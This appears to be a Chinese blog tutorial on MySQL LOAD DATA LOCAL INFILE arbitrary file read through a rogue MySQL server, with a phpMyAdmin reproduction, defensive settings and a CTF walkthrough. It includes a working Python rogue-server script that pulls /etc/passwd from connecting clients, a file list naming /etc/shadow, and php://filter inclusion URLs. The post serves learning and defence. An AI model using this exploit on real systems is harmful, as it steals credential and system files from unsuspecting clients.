• mysql读取文件


    环境地址:phpMyAdmin LOAD DATA INFILE 任意文件读取漏洞 | VULNSPY

    参考文章:

    mysql任意文件读取漏洞学习_BerL1n的博客-CSDN博客

    从一道ctf题学习mysql任意文件读取漏洞 - 安全客,安全资讯平台

    MYSQL 任意文件读取

    小组CTF出题感想 - x1a0t's Blog

    一句话总结:伪造恶意的mysql客户端去请求服务器的资源

    下列情况都存在mysql文件读取问题:

    • MySQL Client
    • PHP + mysql/mysqli
    • PHP + PDO (MYSQL_ATTR_LOCAL_INFILE)
    • Python + MySQLdb
    • Python3 + mysqlclient
    • Java + JDBC Driver

    于是出现的常见payload有如下几种

    https://raw.githubusercontent.com/Gifts/Rogue-MySql-Server/
    https://github.com/allyshka/Rogue-MySql-Server
    https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read

    漏洞原因

    利用了Load data infile语法,在mysql客户端登陆mysql服务端后,客户端执行语句Load data local infile '/etc/passwd' into table proc;从而可以导致mysql进行本地或远程读取文件。

    漏洞复现(phpmyadmin)

    前置条件

    phpmyadmin开启了如下选项

    $cfg['AllowArbitraryServer'] = true; //false改为true

    则登录时就可以访问远程的服务器。当登陆一个恶意构造的Mysql服务器时,即可利用load data infile读取该服务器上的任意文件。当然前提条件是secure_file_priv参数允许的目录下,且phpmyadmin的用户对该文件有读的权限。

    过程

    登录网页,进去在/root/exp下,把脚本的3306端口,改位3307

    运行脚本

    python rogue_mysql_server.py,

    然后访问80端口,使用host:db:3307登录phpmyadmin。

    我们回到exp目录下面,然后发现了一个文件。mysql.log,我们读取文件,就可以/etc/passwd ,内容已经被读取到了。

    exp

    exp下载链接

    https://github.com/Gifts/Rogue-MySql-Server/

    首先,需要配置恶意服务器,然后再file_list选取要读取的文件

    1. PORT = 3306
    2. log = logging.getLogger(__name__)
    3. log.setLevel(logging.DEBUG)
    4. tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
    5. tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
    6. log.addHandler(
    7. tmp_format
    8. )
    9. filelist = (
    10. # r'c:\boot.ini',
    11. r'c:\windows\win.ini',
    12. # r'c:\windows\system32\drivers\etc\hosts',
    13. # '/etc/passwd',
    14. # '/etc/shadow',
    15. )

    简化的exp分三步走战略

    1.回复mysql client一个greeting包
    2.等待client端发送一个查询包
    3.回复一个file transfer包
    1. # -*- coding:utf-8 -*-
    2. __author__ = 'leezp'
    3. import socket
    4. import logging
    5. # 读取mysql客户端本地文件,目前的脚本有读取长度限制,特别大的文件读取不完整
    6. logging.basicConfig(level=logging.DEBUG)
    7. filename = "/etc/passwd"
    8. # filename="/root/Desktop/pass.txt"
    9. sv = socket.socket()
    10. sv.bind(("", 9999))
    11. sv.listen(5)
    12. conn, address = sv.accept()
    13. logging.info('Conn from: %r', address)
    14. # 1 Greeting
    15. conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x37\x2e\x33\x30\x00\x19\x00\x00\x00\x18\x5b\x10\x16\x2d\x4e\x3b\x7b\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x42\x40\x67\x53\x2d\x55\x52\x0e\x01\x29\x26\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
    16. conn.recv(9999)
    17. # 2 Accept all authentications
    18. conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
    19. logging.info("auth okay")
    20. conn.recv(9999)
    21. # 3 read file
    22. # wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
    23. # print(wantfile)
    24. aaa = "\x01\x00\x00\x01\x14\x2e\x00\x00\x02\x03\x64\x65\x66\x00\x00\x00\x18\x61\x75\x74\x6f\x5f\x69\x6e\x63\x72\x65\x6d\x65\x6e\x74\x5f\x69\x6e\x63\x72\x65\x6d\x65\x6e\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x2a\x00\x00\x03\x03\x64\x65\x66\x00\x00\x00\x14\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x63\x6c\x69\x65\x6e\x74\x00\x0c\x21\x00\x0c\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2e\x00\x00\x04\x03\x64\x65\x66\x00\x00\x00\x18\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x00\x0c\x21\x00\x0c\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2b\x00\x00\x05\x03\x64\x65\x66\x00\x00\x00\x15\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x72\x65\x73\x75\x6c\x74\x73\x00\x0c\x21\x00\x0c\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2a\x00\x00\x06\x03\x64\x65\x66\x00\x00\x00\x14\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x73\x65\x72\x76\x65\x72\x00\x0c\x21\x00\x12\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x26\x00\x00\x07\x03\x64\x65\x66\x00\x00\x00\x10\x63\x6f\x6c\x6c\x61\x74\x69\x6f\x6e\x5f\x73\x65\x72\x76\x65\x72\x00\x0c\x21\x00\x33\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x22\x00\x00\x08\x03\x64\x65\x66\x00\x00\x00\x0c\x69\x6e\x69\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x00\x0c\x21\x00\x00\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x29\x00\x00\x09\x03\x64\x65\x66\x00\x00\x00\x13\x69\x6e\x74\x65\x72\x61\x63\x74\x69\x76\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x1d\x00\x00\x0a\x03\x64\x65\x66\x00\x00\x00\x07\x6c\x69\x63\x65\x6e\x73\x65\x00\x0c\x21\x00\x09\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2c\x00\x00\x0b\x03\x64\x65\x66\x00\x00\x00\x16\x6c\x6f\x77\x65\x72\x5f\x63\x61\x73\x65\x5f\x74\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x73\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x28\x00\x00\x0c\x03\x64\x65\x66\x00\x00\x00\x12\x6d\x61\x78\x5f\x61\x6c\x6c\x6f\x77\x65\x64\x5f\x70\x61\x63\x6b\x65\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x27\x00\x00\x0d\x03\x64\x65\x66\x00\x00\x00\x11\x6e\x65\x74\x5f\x62\x75\x66\x66\x65\x72\x5f\x6c\x65\x6e\x67\x74\x68\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x27\x00\x00\x0e\x03\x64\x65\x66\x00\x00\x00\x11\x6e\x65\x74\x5f\x77\x72\x69\x74\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x26\x00\x00\x0f\x03\x64\x65\x66\x00\x00\x00\x10\x71\x75\x65\x72\x79\x5f\x63\x61\x63\x68\x65\x5f\x73\x69\x7a\x65\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x26\x00\x00\x10\x03\x64\x65\x66\x00\x00\x00\x10\x71\x75\x65\x72\x79\x5f\x63\x61\x63\x68\x65\x5f\x74\x79\x70\x65\x00\x0c\x21\x00\x09\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x1e\x00\x00\x11\x03\x64\x65\x66\x00\x00\x00\x08\x73\x71\x6c\x5f\x6d\x6f\x64\x65\x00\x0c\x21\x00\x9b\x01\x00\x00\xfd\x00\x00\x1f\x00\x00\x26\x00\x00\x12\x03\x64\x65\x66\x00\x00\x00\x10\x73\x79\x73\x74\x65\x6d\x5f\x74\x69\x6d\x65\x5f\x7a\x6f\x6e\x65\x00\x0c\x21\x00\x09\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x1f\x00\x00\x13\x03\x64\x65\x66\x00\x00\x00\x09\x74\x69\x6d\x65\x5f\x7a\x6f\x6e\x65\x00\x0c\x21\x00\x12\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2b\x00\x00\x14\x03\x64\x65\x66\x00\x00\x00\x15\x74\x72\x61\x6e\x73\x61\x63\x74\x69\x6f\x6e\x5f\x69\x73\x6f\x6c\x61\x74\x69\x6f\x6e\x00\x0c\x21\x00\x2d\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x22\x00\x00\x15\x03\x64\x65\x66\x00\x00\x00\x0c\x77\x61\x69\x74\x5f\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\xff\x00\x00\x16\x01\x31\x04\x75\x74\x66\x38\x04\x75\x74\x66\x38\x04\x75\x74\x66\x38\x06\x6c\x61\x74\x69\x6e\x31\x11\x6c\x61\x74\x69\x6e\x31\x5f\x73\x77\x65\x64\x69\x73\x68\x5f\x63\x69\x00\x05\x32\x38\x38\x30\x30\x03\x47\x50\x4c\x01\x30\x07\x34\x31\x39\x34\x33\x30\x34\x05\x31\x36\x33\x38\x34\x02\x36\x30\x07\x31\x30\x34\x38\x35\x37\x36\x03\x4f\x46\x46\x89\x4f\x4e\x4c\x59\x5f\x46\x55\x4c\x4c\x5f\x47\x52\x4f\x55\x50\x5f\x42\x59\x2c\x53\x54\x52\x49\x43\x54\x5f\x54\x52\x41\x4e\x53\x5f\x54\x41\x42\x4c\x45\x53\x2c\x4e\x4f\x5f\x5a\x45\x52\x4f\x5f\x49\x4e\x5f\x44\x41\x54\x45\x2c\x4e\x4f\x5f\x5a\x45\x52\x4f\x5f\x44\x41\x54\x45\x2c\x45\x52\x52\x4f\x52\x5f\x46\x4f\x52\x5f\x44\x49\x56\x49\x53\x49\x4f\x4e\x5f\x42\x59\x5f\x5a\x45\x52\x4f\x2c\x4e\x4f\x5f\x41\x55\x54\x4f\x5f\x43\x52\x45\x41\x54\x45\x5f\x55\x53\x45\x52\x2c\x4e\x4f\x5f\x45\x4e\x47\x49\x4e\x45\x5f\x53\x55\x42\x53\x54\x49\x54\x55\x54\x49\x4f\x4e\x03\x55\x54\x43\x06\x53\x59\x53\x54\x45\x4d\x0f\x52\x45\x50\x45\x41\x54\x41\x42\x4c\x45\x2d\x52\x45\x41\x44\x05\x32\x38\x38\x30\x30\x07\x00\x00\x17\xfe\x00\x00\x02\x00\x02\x00"
    25. conn.sendall(aaa)
    26. print('------------')
    27. content = conn.recv(9999)
    28. print('++++++++++++')
    29. wantfile = "\x0c\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
    30. logging.info("read file...")
    31. conn.sendall(wantfile)
    32. content = conn.recv(9999)
    33. #print content
    34. logging.info(content)
    35. conn.close()

    漏洞防御

    • 关闭local_infile参数,禁止导入本地文件
    • 开启–ssl-mode=VERIFY_IDENTITY参数,防止连接不安全的mysql服务器

    kali复现

    kali开启local-infile设置

    可以看到,已经将/etc/passwd下的文件读取进去了。

    load data infile 'xxx' into table test; 将服务端文件存入test表中// 受害者服务器
    load data local infile into table test; //自己的mysql所在的位置。

    当我们开启mysql远程的服务,使用windows去连接kali的mysql

    1. 允许root用户远程连接
    GRANT ALL PRIVILEGES ON . TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;
    1. 修改 127.0.0.1 为 0.0.0.0
    vim /etc/mysql/mariadb.conf.d/50-server.cnf
    1. 重启服务

    Service mysql restart

    这时候执行load data local infile '/etc/passwd' into table test; ,会有--secure-file-priv提示。

    secure_file_priv 值为null ,表示限制mysqld 不允许导入|导出
    secure_file_priv 值为 /var/lib/mysql-files/,表示限制mysqld 的导入|导出只能在该目录下
    secure_file_priv 无值,表示不对mysqld 的导入|导出做限制

    我们需要先置为空,就能得到想要的效果。

    CTF实战

    1. define(ROBOTS, 0);
    2. error_reporting(0);
    3. if(empty($_GET["action"])) {
    4. show_source(__FILE__);
    5. } else {
    6. include $_GET["action"].".php";
    7. }

    有文件包含,在define里提示了 robots.txt。访问后得到了

    1. User-agent:*
    2. Disallow:/install
    3. Disallow:/admin
    1. http://ctf.chaffee.cc:23333/?action=php://filter/convert.base64-encode/resource=admin/index
    2. http://ctf.chaffee.cc:23333/?action=php://filter/convert.base64-encode/resource=install/index

    用base64伪协议去读取。

    然后的到了flag的地址

    1. if
    2. (!defined("ROBOTS"
    3. )) {
    4. die("Access Denied");}
    5. echo
    6. "Congratulate hack to here, But flag in /var/www/flag.flag"
    7. ;

    之后得到了这里

    1. if
    2. (file_exists("./install.lock")) {
    3. die
    4. ("Have installed!");}
    5. $host = $_REQUEST['host'];
    6. $user = $_REQUEST['user'];
    7. $passwd = $_REQUEST['passwd'];
    8. $database = $_REQUEST['database'];
    9. if(!empty($host) && !empty($user) && !empty($passwd) && !empty($database)) {
    10. $conn = newmysqli($host, $user, $passwd);
    11. if($conn->connect_error) {
    12. die($conn->connect_error);}
    13. else
    14. {
    15. $conn->query(
    16. "DROP DATABASE ".$database);
    17. $conn->query("CREATE DATABASE ".$database);
    18. //To be continued
    19. mysqli_close($conn);
    20. $config = ";
    21. $config .= var_export(
    22. array("host"=>$host, "user"=>$user, "passwd"=>$passwd), TRUE).";";
    23. file_put_contents(md5($_SERVER["REMOTE_ADDR"])."/config.php", $config);
    24. }
    25. }

    该文件首先判断当前目录有无install.lock,我们通过上一级目录的文件包含漏洞可以绕过这个判断。下面是接受用户输入登陆mysql数据库,登陆成功的话会执行两个没有任何过滤的SQL语句,然后执行一个文件写入的操作。

    按照正常步骤来的话,最后会报一个,No such file or directory的错误。

    在执行file_put_contents()函数时,插入了一个文件夹md5($_SERVER["REMOTE_ADDR"])

    ,而这个函数在文件夹不存在的情况下是不能新建文件夹的,因此这个file_put_contents()

    函数并不能利用。

    这时,就需要使用mysql来读取这个文件。

    第二道题目

    https://blog.csdn.net/qq_41107295/article/details/100743094

  • 相关阅读:
    一次数据库主键莫名其妙的变得非常大排查记录
    个人练习-PAT甲级-1131 Subway Map
    MFC由初值终值步长生成数值序列
    10.ElasticSearch系列之深入搜索
    MySQL系列-win10安装MySQL
    2021.09青少年软件编程(Python)等级考试试卷(一级)
    【开源】SpringBoot框架开发新能源电池回收系统
    基于SSM的共享客栈管理系统的设计与实现
    vue3知识点:provide 与 inject
    网站/顶会/工作组
  • 原文地址:https://blog.csdn.net/why811/article/details/134011846